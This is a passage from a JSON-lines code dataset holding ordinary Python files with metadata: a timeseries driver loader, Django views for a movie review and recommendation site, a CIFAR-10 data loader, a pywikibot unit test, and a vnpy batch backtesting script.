"line_number": 166, "usage_type": "name"}, {"api_name": "const.METRIC_KEY_MODE", "line_number": 178, "usage_type": "name"}, {"api_name": "const.MODE_ON", "line_number": 178, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 191, "usage_type": "name"}, {"api_name": "const.METRIC_KEY_MODE", "line_number": 197, "usage_type": "name"}, {"api_name": "const.MODE_OFF", "line_number": 197, "usage_type": "name"}]} {"seq_id": "368182132", "text": "\"\"\" Find, detect, and make available timeseries drivers implementations\n\nTimeseries drivers must inherit from the Abstract Base Class\n\"AbstractTimeSeriesDriver\" to be detected.\n\"\"\"\nimport importlib\nimport os\nimport pkgutil\nimport sys\n\nfrom ..logger import logger\n\n\nclass BrokenModule(object):\n \"\"\" Timeseries driver module \"%s\" is broken.\n\n Reason:\n %s\n\n Please see TSTools Github repository for more information or to report an\n issue:\n\n <a href=\"https://github.com/ceholden/TSTools\">TSTools</a>\n \"\"\"\n def __init__(self, module, message):\n self.__doc__ = self.__doc__ % (module, message)\n\n\nclass TSManager(object):\n \"\"\" Timeseries Manager\n\n Finds and stores references to available timeseries\n \"\"\"\n # Loaded timeseries\n ts = None\n\n def __init__(self, location=None):\n # Location of timeseires modules\n self.plugin_dir = []\n # All available timeseries\n self.ts_drivers = []\n\n if location and os.path.isdir(location):\n self.plugin_dir.append(location)\n\n file_location = os.path.join(os.path.dirname(__file__), 'drivers')\n self.plugin_dir.append('./' if file_location == '' else file_location)\n\n self.find_timeseries()\n\n def find_timeseries(self):\n \"\"\" Try to find timeseries classes \"\"\"\n try:\n from . import timeseries\n except ImportError:\n logger.critical('Could not import \"timeseries\". Check your path')\n raise\n else:\n logger.debug('Found \"timeseries\" module')\n\n broken = []\n\n # Use pkgutil to search for timeseries\n logger.debug('Module name: {n}'.format(n=__name__))\n for loader, modname, ispkg in pkgutil.walk_packages(self.plugin_dir):\n full_path = '%s.drivers.%s' % (__name__.rsplit('.', 1)[0], modname)\n try:\n importlib.import_module(full_path)\n except ImportError as e:\n logger.error('Cannot import %s: %s' % (modname, e.message))\n broken_module = BrokenModule(modname,\n e.args[0] if e.args else\n 'Unknown import error')\n broken_module.description = 'Broken: %s' % modname\n broken.append(broken_module)\n except:\n logger.error('Cannot import %s: %s' %\n (modname, sys.exc_info()[0]))\n raise\n\n self.ts_drivers = timeseries.AbstractTimeSeriesDriver.__subclasses__()\n for tsd in self.ts_drivers:\n logger.info('Found driver: {tsd}'.format(tsd=tsd))\n\n # Find even more descendents\n for subclass in self.ts_drivers:\n self.recursive_find_subclass(subclass)\n\n self.ts_drivers.extend(broken)\n\n def recursive_find_subclass(self, subclass):\n \"\"\" Search subclass for descendents \"\"\"\n\n sub_subclasses = subclass.__subclasses__()\n\n for sub_subclass in sub_subclasses:\n if sub_subclass not in self.ts_drivers:\n self.ts_drivers.append(sub_subclass)\n logger.info('Found driver: {tsd}'.format(tsd=sub_subclass))\n self.recursive_find_subclass(sub_subclass)\n\n\n# Store timeseries manager\ntsm = TSManager()\nlogger.debug('Found {i} TS data models'.format(i=len(tsm.ts_drivers)))\n", "sub_path": "ts_driver/ts_manager.py", "file_name": "ts_manager.py", "file_ext": "py", "file_size_in_byte": 3380, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.isdir", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 46, "usage_type": "call"}, {"api_name": "logger.logger.critical", "line_number": 56, "usage_type": "call"}, {"api_name": "logger.logger", "line_number": 56, "usage_type": "name"}, {"api_name": "logger.logger.debug", "line_number": 59, "usage_type": "call"}, {"api_name": "logger.logger", "line_number": 59, "usage_type": "name"}, {"api_name": "logger.logger.debug", "line_number": 64, "usage_type": "call"}, {"api_name": "logger.logger", "line_number": 64, "usage_type": "name"}, {"api_name": "pkgutil.walk_packages", "line_number": 65, "usage_type": "call"}, {"api_name": "importlib.import_module", "line_number": 68, "usage_type": "call"}, {"api_name": "logger.logger.error", "line_number": 70, "usage_type": "call"}, {"api_name": "logger.logger", "line_number": 70, "usage_type": "name"}, {"api_name": "logger.logger.error", "line_number": 77, "usage_type": "call"}, {"api_name": "logger.logger", "line_number": 77, "usage_type": "name"}, {"api_name": "sys.exc_info", "line_number": 78, "usage_type": "call"}, {"api_name": "logger.logger.info", "line_number": 83, "usage_type": "call"}, {"api_name": "logger.logger", "line_number": 83, "usage_type": "name"}, {"api_name": "logger.logger.info", "line_number": 99, "usage_type": "call"}, {"api_name": "logger.logger", "line_number": 99, "usage_type": "name"}, {"api_name": "logger.logger.debug", "line_number": 105, "usage_type": "call"}, {"api_name": "logger.logger", "line_number": 105, "usage_type": "name"}]} {"seq_id": "66725010", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.template import loader\n\n# Create your views here.\ndef index1(request):\n alist=[1,2,3]\n template = loader.get_template('home/index.html')\n context = {\n 'alist':alist,\n }\n return HttpResponse(template.render(context,request))\ndef index(request):\n template = loader.get_template('home/index-1.htm')\n context = {\n }\n return HttpResponse(template.render(request))\n", "sub_path": "ccipe/home/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 478, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.template.loader.get_template", "line_number": 8, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 8, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 12, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 14, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 14, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 17, "usage_type": "call"}]} {"seq_id": "504182561", "text": "import tensorflow as tf\nimport numpy as np\nimport pickle\nimport cv2\nfrom PIL import Image\nimport imutils\n\nclass Data(object):\n def __init__(self, data_dir, height, width, batch_size):\n self.data_dir = data_dir\n self.height = height\n self.width = width\n self.batch_size = batch_size\n\n def get_rot_data_iterator(self, images, labels):\n images = tf.cast(images, dtype=tf.float32)\n dataset = tf.data.Dataset.from_tensor_slices((images, labels))\n dataset = dataset.shuffle(buffer_size=10000, reshuffle_each_iteration=True)\n dataset = dataset.batch(self.batch_size)\n dataset = dataset.repeat()\n #dataset = dataset.map(self.preprocess, num_parallel_calls=2)\n dataset = dataset.prefetch(self.batch_size)\n iterator = dataset.make_initializable_iterator()\n print(tf.compat.v1.data.get_output_shapes(dataset))\n print(tf.compat.v1.data.get_output_types(dataset))\n return iterator\n\n def get_training_data(self):\n images = []\n labels = []\n for i in range(1, 6):\n data = self._get_next_batch_from_file(i)\n images.extend(list(self.convert_images(data[b\"data\"])))\n labels.extend(list(data[b\"labels\"]))\n return np.array(images), tf.keras.utils.to_categorical(np.array(labels))\n\n def convert_images(self, raw_images):\n images = raw_images / 255.0\n images = raw_images.reshape([-1, 3, self.height, self.width])\n images = images.transpose([0, 2, 3, 1])\n return images\n\n def _get_next_batch_from_file(self, batch_number):\n data = self._unpickle_data(self.data_dir + self._get_batch_name(batch_number))\n return data\n\n def _get_batch_name(self, number):\n return \"data_batch_{0}\".format(number)\n\n def _unpickle_data(self, filepath):\n with open(filepath, 'rb') as data:\n dict = pickle.load(data, encoding='bytes')\n return dict\n\n def get_test_data(self):\n data = self._unpickle_data(self.data_dir + \"test_batch\")\n return data[b\"data\"], tf.keras.utils.to_categorical(data[b\"labels\"])\n\n def preprocess(self, images, labels):\n rot_labels = []\n rot_images = []\n rotations = [90, 180, 270]\n images = tf.cast(images, dtype=tf.float32)\n for image in images:\n rot_labels.append(0)\n rot_images.append(image)\n for i, angle in enumerate(rotations, 1):\n rotated = imutils.rotate_bound(image, angle)\n rot_images.append(rotated)\n rot_labels.append(i)\n\n return np.array(rot_images), tf.keras.utils.to_categorical(np.array(rot_labels))\n\n @staticmethod\n def print_image_to_screen(data):\n \"\"\"\n Used for debugging purposes.\n \"\"\"\n img = Image.fromarray(data, 'RGB')\n img.show()\n\n @staticmethod\n def get_image(image_path):\n return\n\nif __name__ == \"__main__\":\n DATA_DIR = \"./data/cifar-10-batches-py/\"\n data_obj = Data(DATA_DIR, 32, 32, 5000)\n x, y = data_obj.get_training_data()\n xr, yr = data_obj.preprocess(x, y)\n", "sub_path": "hw5/data.py", "file_name": "data.py", "file_ext": "py", "file_size_in_byte": 3136, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.cast", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tensorflow.data.Dataset.from_tensor_slices", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 17, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.data.get_output_shapes", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.data.get_output_types", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.keras.utils.to_categorical", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.keras.utils.to_categorical", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 57, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 63, "usage_type": "attribute"}, {"api_name": "imutils.rotate_bound", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.keras.utils.to_categorical", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 72, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 79, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 79, "usage_type": "name"}]} {"seq_id": "153267310", "text": "\"\"\"Test add_text bot module.\"\"\"\n#\n# (C) Pywikibot team, 2016-2021\n#\n# Distributed under the terms of the MIT license.\n#\nimport unittest\n\nimport pywikibot\n\nfrom scripts.add_text import add_text, get_text\n\nfrom tests.aspects import TestCase\n\n\nclass TestAdding(TestCase):\n\n \"\"\"Test adding text.\"\"\"\n\n family = 'wikipedia'\n code = 'en'\n\n dry = True\n\n def setUp(self):\n \"\"\"Setup test.\"\"\"\n super().setUp()\n self.page = pywikibot.Page(self.site, 'foo')\n\n def test_basic(self):\n \"\"\"Test adding text.\"\"\"\n (_, newtext, _) = add_text(\n self.page, 'bar', putText=False,\n oldTextGiven='foo\\n{{linkfa}}')\n self.assertEqual(\n 'foo\\n{{linkfa}}\\nbar',\n newtext)\n\n def test_with_category(self):\n \"\"\"Test adding text before categories.\"\"\"\n (_, newtext, _) = add_text(\n self.page, 'bar', putText=False,\n oldTextGiven='foo\\n[[Category:Foo]]')\n self.assertEqual(\n 'foo\\nbar\\n\\n[[Category:Foo]]',\n newtext)\n\n def test_get_text(self):\n \"\"\"Test get_text with given text.\"\"\"\n self.assertEqual(get_text(self.page, 'foo', False), 'foo')\n\n\nif __name__ == '__main__': # pragma: no cover\n unittest.main()\n", "sub_path": "tests/add_text_tests.py", "file_name": "add_text_tests.py", "file_ext": "py", "file_size_in_byte": 1266, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tests.aspects.TestCase", "line_number": 16, "usage_type": "name"}, {"api_name": "pywikibot.Page", "line_number": 28, "usage_type": "call"}, {"api_name": "scripts.add_text.add_text", "line_number": 32, "usage_type": "call"}, {"api_name": "scripts.add_text.add_text", "line_number": 41, "usage_type": "call"}, {"api_name": "scripts.add_text.get_text", "line_number": 50, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 54, "usage_type": "call"}]} {"seq_id": "2724164", "text": "# encoding: UTF-8\nimport json\nimport traceback\nfrom datetime import datetime, date\nimport pandas as pd\nfrom pandas import DataFrame\nfrom vnpy.app.cta_strategy.backtesting import BacktestingEngine\nfrom vnpy.app.cta_strategy.strategies.boll_channel_strategy import BollChannelStrategy\nfrom vnpy.app.cta_strategy.strategies.turtle_signal_strategy import TurtleSignalStrategy\nfrom vnpy.app.cta_strategy.strategies.double_ma_strategy import DoubleMaStrategy\n\nclass BatchCTABackTest:\n\t\"\"\"\n\t提供批量CTA策略回测，输出结果到excel或pdf，和CTA策略批量优化，输出结果到excel或pdf，\n\t\"\"\"\n\n\tdef __init__(self, vtSymbolconfig=\"vtSymbol.json\", exportpath=\".\\\\\"):\n\t\t\"\"\"\n\t\t加载配置路径\n\t\t\"\"\"\n\t\tconfig = open(vtSymbolconfig)\n\t\tself.setting = json.load(config)\n\t\tself.exportpath = exportpath\n\n\tdef addParameters(self, engine, vt_symbol: str, startDate, endDate, interval=\"1m\", capital=1_000_000):\n\t\t\"\"\"\n\t\t从vtSymbol.json文档读取品种的交易属性，比如费率，交易每跳，比率，滑点\n\t\t\"\"\"\n\t\tif vt_symbol in self.setting:\n\t\t\tengine.set_parameters(\n\t\t\t\tvt_symbol=vt_symbol,\n\t\t\t\tinterval=interval,\n\t\t\t\tstart=startDate,\n\t\t\t\tend=endDate,\n\t\t\t\trate=self.setting[vt_symbol][\"rate\"],\n\t\t\t\tslippage=self.setting[vt_symbol][\"slippage\"],\n\t\t\t\tsize=self.setting[vt_symbol][\"size\"],\n\t\t\t\tpricetick=self.setting[vt_symbol][\"pricetick\"],\n\t\t\t\tcapital=capital\n\t\t\t)\n\t\telse:\n\t\t\tprint(\"symbol %s hasn't be maintained in config file\" % vt_symbol)\n\t\treturn engine\n\n\tdef runBatchTest(self, strategy_setting, startDate, endDate, portfolio):\n\t\t\"\"\"\n\t\t进行回测\n\t\t\"\"\"\n\t\tresultDf = DataFrame()\n\t\tdfportfolio = None\n\t\tfor strategy_name, strategy_config in strategy_setting.items():\n\t\t\tengine = BacktestingEngine()\n\t\t\tvt_symbol = strategy_config[\"vt_symbol\"]\n\t\t\tengine = self.addParameters(engine, vt_symbol, startDate, endDate)\n\t\t\tif type(strategy_config[\"setting\"]) is str:\n\t\t\t\tprint(strategy_config[\"setting\"])\n\t\t\t\tengine.add_strategy(\n\t\t\t\t\teval(strategy_config[\"class_name\"]),\n\t\t\t\t\tjson.loads(strategy_config[\"setting\"], )\n\t\t\t\t)\n\t\t\telse:\n\t\t\t\tengine.add_strategy(\n\t\t\t\t\teval(strategy_config[\"class_name\"]),\n\t\t\t\t\tstrategy_config[\"setting\"]\n\t\t\t\t)\n\t\t\tengine.load_data()\n\t\t\tengine.run_backtesting()\n\t\t\tdf = engine.calculate_result()\n\t\t\tif portfolio == True:\n\t\t\t\tif dfportfolio is None:\n\t\t\t\t\tdfportfolio = df\n\t\t\t\telse:\n\t\t\t\t\tdfportfolio = dfportfolio + df\n\t\t\tresultDict = engine.calculate_statistics(df, False)\n\t\t\tresultDict[\"class_name\"] = strategy_config[\"class_name\"]\n\t\t\tresultDict[\"setting\"] = strategy_config[\"setting\"]\n\t\t\tresultDict[\"vt_symbol\"] = strategy_config[\"vt_symbol\"]\n\t\t\tresultDf = resultDf.append(resultDict, ignore_index=True)\n\n\t\tif portfolio == True:\n\t\t\t# dfportfolio = dfportfolio.dropna()\n\t\t\tengine = BacktestingEngine()\n\t\t\tengine.calculate_statistics(dfportfolio)\n\t\t\tengine.show_chart(dfportfolio)\n\t\treturn resultDf\n\n\tdef runBatchTestJson(self, jsonpath=\"ctaStrategy.json\", startDate=datetime(2019, 7, 1),\n\t endDate=datetime(2020, 1, 1), exporpath=None, portfolio=True):\n\t\t\"\"\"\n\t\t从ctaStrategy.json去读交易策略和参数，进行回测\n\t\t\"\"\"\n\t\twith open(jsonpath, mode=\"r\", encoding=\"UTF-8\") as f:\n\t\t\tstrategy_setting = json.load(f)\n\t\tresultDf = self.runBatchTest(strategy_setting, startDate, endDate, portfolio)\n\t\tself.ResultExcel(resultDf, exporpath)\n\t\treturn strategy_setting\n\n\tdef runBatchTestExcecl(self, path=\"ctaStrategy.xls\", startDate=datetime(2019, 7, 1),\n\t endDate=datetime(2020, 1, 1), exporpath=None, portfolio=False):\n\t\t\"\"\"\n\t\t从ctaStrategy.excel去读交易策略和参数，进行回测\n\t\t\"\"\"\n\t\tdf = pd.read_excel(path)\n\t\tstrategy_setting = df.to_dict(orient='index')\n\t\tresultDf = self.runBatchTest(strategy_setting, startDate, endDate, portfolio)\n\t\tself.ResultExcel(resultDf, exporpath)\n\t\treturn strategy_setting\n\n\tdef ResultExcel(self, result, export=None):\n\t\t\"\"\"\n\t\t输出交易结果到excel\n\t\t\"\"\"\n\t\tif export != None:\n\t\t\texportpath = export\n\t\telse:\n\t\t\texportpath = self.exportpath\n\t\ttry:\n\t\t\tpath = exportpath + \"CTABatch\" + str(date.today()) + \"v0.xls\"\n\t\t\tresult.to_excel(path, index=False)\n\t\t\tprint(\"CTA Batch result is export to %s\" % path)\n\t\texcept:\n\t\t\tprint(traceback.format_exc())\n\n\t\treturn None\n\n\nif __name__ == '__main__':\n\tbts = BatchCTABackTest()\n\tbts.runBatchTestJson()\n", "sub_path": "VNPY2_BILLY/Batch_CTABacktesting/BatchCTABacktesting.py", "file_name": "BatchCTABacktesting.py", "file_ext": "py", "file_size_in_byte": 4269, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.load", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "call"}, {"api_name": "vnpy.app.cta_strategy.backtesting.BacktestingEngine", "line_number": 52, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 59, "usage_type": "call"}, {"api_name": "vnpy.app.cta_strategy.backtesting.BacktestingEngine", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 87, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 88, "usage_type": "call"}, {"api_name": "json.load", "line_number": 93, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 98, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 99, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 103, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 118, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 118, "usage_type": "name"}, {"api_name": "traceback.format_exc", "line_number": 122, "usage_type": "call"}]} {"seq_id": "493473802", "text": "from rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom django.shortcuts import render, get_list_or_404, get_object_or_404\nfrom .models import Movie, Review, Genre\nfrom django.contrib.auth import get_user_model\nimport jwt\nfrom django.conf import settings\nfrom .serializers import MovieListSerializer, MovieSerializer, ReviewListSerializer, ReviewSerializer\nfrom rest_framework.decorators import authentication_classes, permission_classes\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework_jwt.authentication import JSONWebTokenAuthentication\n\n# Create your views here.\n@api_view(['GET'])\ndef movies(request):\n movie_list = get_list_or_404(Movie)\n serializer = MovieSerializer(movie_list, many=True)\n return Response(serializer.data)\n\n@api_view(['GET'])\ndef movie_detail(request, movie_pk):\n movie = get_object_or_404(Movie, pk=movie_pk)\n serializer = MovieSerializer(movie)\n return Response(serializer.data)\n\n@api_view(['GET', 'POST'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef reviews(request, movie_pk):\n if request.method == 'GET':\n review_list = Review.objects.all().filter(movie_id=movie_pk)\n serializer = ReviewListSerializer(review_list, many=True)\n return Response(serializer.data)\n\n else:\n serializer = ReviewListSerializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n movie = get_object_or_404(Movie, pk=request.data.get('movie'))\n\n pre_point = movie.vote_average * movie.vote_count\n \n point = pre_point+int(request.data.get('rank'))\n count = movie.vote_count + 1\n new_vote_average = round(point/count, 2)\n\n movie.vote_average = new_vote_average\n movie.vote_count = count\n movie.save()\n # print(request.user)\n serializer.save(user=request.user)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n@api_view(['GET'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef my_review(request, my_pk):\n if request.method == 'GET':\n review_list = Review.objects.all().filter(user_id=my_pk)\n serializer = ReviewListSerializer(review_list, many=True)\n return Response(serializer.data)\n\n\n\n# authentication_classes 붙여줘야함!\n@api_view(['PUT', 'DELETE'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef review_update_delete(request, review_pk):\n review = get_object_or_404(Review, pk=review_pk)\n if not request.user.reviews.filter(pk=review_pk).exists():\n return Response({'message': '권한이 없습니다.'})\n\n if request.method == 'PUT':\n serializer = ReviewListSerializer(review, data=request.data)\n \n\n # if serializer.is_valid(raise_exception=True):\n if serializer.is_valid(raise_exception=True):\n movie = get_object_or_404(Movie, pk=request.data.get('movie'))\n pre_point = movie.vote_average * (movie.vote_count - 1)\n point = pre_point+int(request.data.get('rank'))\n count = movie.vote_count\n new_vote_average = round(point/count, 2)\n movie.vote_average = new_vote_average\n movie.vote_count = count\n movie.save()\n serializer.save(user=request.user)\n return Response(serializer.data)\n\n else:\n review = get_object_or_404(Review, pk=review_pk)\n # token = request.headers['Authorization'].split()[1]\n # SECRET_KEY = settings.SECRET_KEY\n # print(token)\n # 디코드하려면 재료 3개\n # payload = jwt.decode(token,SECRET_KEY,algorithms=['HS256'])\n # print(payload['user_id'])\n movie = get_object_or_404(Movie, pk=review.movie_id)\n pre_point = movie.vote_average * (movie.vote_count)\n # pre_count = movie.vote_count\n point = pre_point - review.rank\n count = movie.vote_count-1\n new_vote_average = round(point/count, 2)\n movie.vote_average = new_vote_average\n movie.vote_count = count\n movie.save()\n # print(request.user) 익명으로 안받아와짐 그래서 토큰으로 받아줌\n review.delete()\n return Response({ 'id': review_pk })\n\n\n@api_view(['POST'])\ndef recommend(request):\n me_like = request.data.get('me_like')\n\n # 인기순\n favorite_movies = Movie.objects.all().order_by('-vote_average')[:10]\n favorite_serialize = MovieSerializer(favorite_movies, many=True)\n # 리뷰 기반 장르기반 추천\n user_movies_review = []\n # 배우기반 추천\n user_movies_actor = []\n # 감독기반 추천\n user_movies_director = []\n # 개봉년도\n # 제작 국가\n # 리뷰 기반 장름별\n reviews = Review.objects.all()\n for review in reviews:\n movie = Movie.objects.get(pk=review.movie_id)\n if not movie in user_movies_review:\n user_movies_review.append(movie)\n\n # 좋아요 기반추천\n my_user_like_movies = []\n user_like_movies = []\n # 좋아요 기반 추천\n like_movies = request.data.get('like_movies')\n for like_movie in like_movies:\n movie = get_object_or_404(Movie, pk=like_movie)\n if not movie in my_user_like_movies:\n my_user_like_movies.append(movie)\n # 내가 좋아요 한 것 제거\n for like_movie in my_user_like_movies:\n # print(me_like)\n if like_movie.id not in me_like:\n user_like_movies.append(like_movie)\n # print(user_like_movies)\n \n \n # user_genre_serialize = MovieSerializer(user_movies_review, many=True)\n user_like_serialize = MovieSerializer(user_like_movies, many=True)\n \n # 연령대\n user_movies_age = []\n # 연령별 기반 추천\n me_age = request.data.get('me_age')\n for age in me_age:\n movie = get_object_or_404(Movie, pk=age)\n if not movie in user_movies_age:\n user_movies_age.append(movie)\n\n user_movies_age_serializer = MovieSerializer(user_movies_age, many=True)\n return Response([favorite_serialize.data, user_like_serialize.data, user_movies_age_serializer.data])\n\n@api_view(['POST'])\n# @authentication_classes([JSONWebTokenAuthentication])\n# @permission_classes([IsAuthenticated])\ndef my_movie_like(request, my_pk):\n me = get_object_or_404(get_user_model(), pk=my_pk)\n # print(me)\n data = []\n movies = request.data\n for movie_pk in movies:\n movie = get_object_or_404(Movie, pk=movie_pk)\n serializer = MovieSerializer(movie)\n data.append(serializer.data)\n \n return Response(data)\n\n@api_view(['POST'])\ndef my_movie_dislike(request, my_pk):\n me = get_object_or_404(get_user_model(), pk=my_pk)\n # print(me)\n data = []\n movies = request.data\n for movie_pk in movies:\n movie = get_object_or_404(Movie, pk=movie_pk)\n serializer = MovieSerializer(movie)\n data.append(serializer.data)\n \n return Response(data)\n \n@api_view(['POST'])\ndef my_movie_wish(request, my_pk):\n me = get_object_or_404(get_user_model(), pk=my_pk)\n # print(me)\n data = []\n movies = request.data\n for movie_pk in movies:\n movie = get_object_or_404(Movie, pk=movie_pk)\n serializer = MovieSerializer(movie)\n data.append(serializer.data)\n \n return Response(data)\n\n@api_view(['POST'])\ndef movie_like(request, my_pk, movie_title):\n movie = get_object_or_404(Movie, title=movie_title)\n me = get_object_or_404(get_user_model(), pk=my_pk)\n if me.like_movies.filter(pk=movie.pk).exists():\n me.like_movies.remove(movie.pk)\n liking = False\n \n else:\n me.like_movies.add(movie.pk)\n liking = True\n \n return Response(liking)\n\n@api_view(['POST'])\ndef movie_dislike(request, my_pk, movie_title):\n movie = get_object_or_404(Movie, title=movie_title)\n me = get_object_or_404(get_user_model(), pk=my_pk)\n if me.dislike_movies.filter(pk=movie.pk).exists():\n me.dislike_movies.remove(movie.pk)\n disliking = False\n \n else:\n me.dislike_movies.add(movie.pk)\n disliking = True\n \n return Response(disliking)\n\n@api_view(['POST'])\ndef movie_wish(request, my_pk, movie_title):\n movie = get_object_or_404(Movie, title=movie_title)\n me = get_object_or_404(get_user_model(), pk=my_pk)\n if me.wish_movies.filter(pk=movie.pk).exists():\n me.wish_movies.remove(movie.pk)\n wishing = False\n \n else:\n me.wish_movies.add(movie.pk)\n wishing = True\n \n return Response(wishing)\n\n@api_view(['POST'])\ndef like_movie_users(request, my_pk):\n # print(request.data)\n users = []\n movies = request.data.get('movies')\n\n for movie in movies:\n movie = get_object_or_404(Movie, pk=movie)\n serializer = MovieSerializer(movie)\n\n for user in serializer.data.get('like_users'):\n if user not in users:\n users.append(user)\n \n return Response(users)\n\n@api_view(['POST'])\ndef dislike_movie_users(request, my_pk):\n # print(request.data)\n users = []\n movies = request.data.get('movies')\n\n for movie in movies:\n movie = get_object_or_404(Movie, pk=movie)\n serializer = MovieSerializer(movie)\n\n for user in serializer.data.get('dislike_users'):\n if user not in users:\n users.append(user)\n \n return Response(users)\n\n@api_view(['POST'])\ndef wish_movie_users(request, my_pk):\n # print(request.data)\n users = []\n movies = request.data.get('movies')\n\n for movie in movies:\n movie = get_object_or_404(Movie, pk=movie)\n serializer = MovieSerializer(movie)\n\n for user in serializer.data.get('wish_users'):\n if user not in users:\n users.append(user)\n \n return Response(users)", "sub_path": "final-pjt-back/movies/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 9667, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.shortcuts.get_list_or_404", "line_number": 17, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 17, "usage_type": "argument"}, {"api_name": "serializers.MovieSerializer", "line_number": 18, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 19, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 15, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 23, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 23, "usage_type": "argument"}, {"api_name": "serializers.MovieSerializer", "line_number": 24, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 25, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Review.objects.all", "line_number": 32, "usage_type": "call"}, {"api_name": "models.Review.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "models.Review", "line_number": 32, "usage_type": "name"}, {"api_name": "serializers.ReviewListSerializer", "line_number": 33, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 34, "usage_type": "call"}, {"api_name": "serializers.ReviewListSerializer", "line_number": 37, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 39, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 39, "usage_type": "argument"}, {"api_name": "rest_framework.response.Response", "line_number": 52, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 52, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 52, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 27, "usage_type": "call"}, {"api_name": "rest_framework.decorators.authentication_classes", "line_number": 28, "usage_type": "call"}, {"api_name": "rest_framework_jwt.authentication.JSONWebTokenAuthentication", "line_number": 28, "usage_type": "name"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 29, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 29, "usage_type": "name"}, {"api_name": "models.Review.objects.all", "line_number": 59, "usage_type": "call"}, {"api_name": "models.Review.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "models.Review", "line_number": 59, "usage_type": "name"}, {"api_name": "serializers.ReviewListSerializer", "line_number": 60, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 61, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 54, "usage_type": "call"}, {"api_name": "rest_framework.decorators.authentication_classes", "line_number": 55, "usage_type": "call"}, {"api_name": "rest_framework_jwt.authentication.JSONWebTokenAuthentication", "line_number": 55, "usage_type": "name"}, {"api_name": 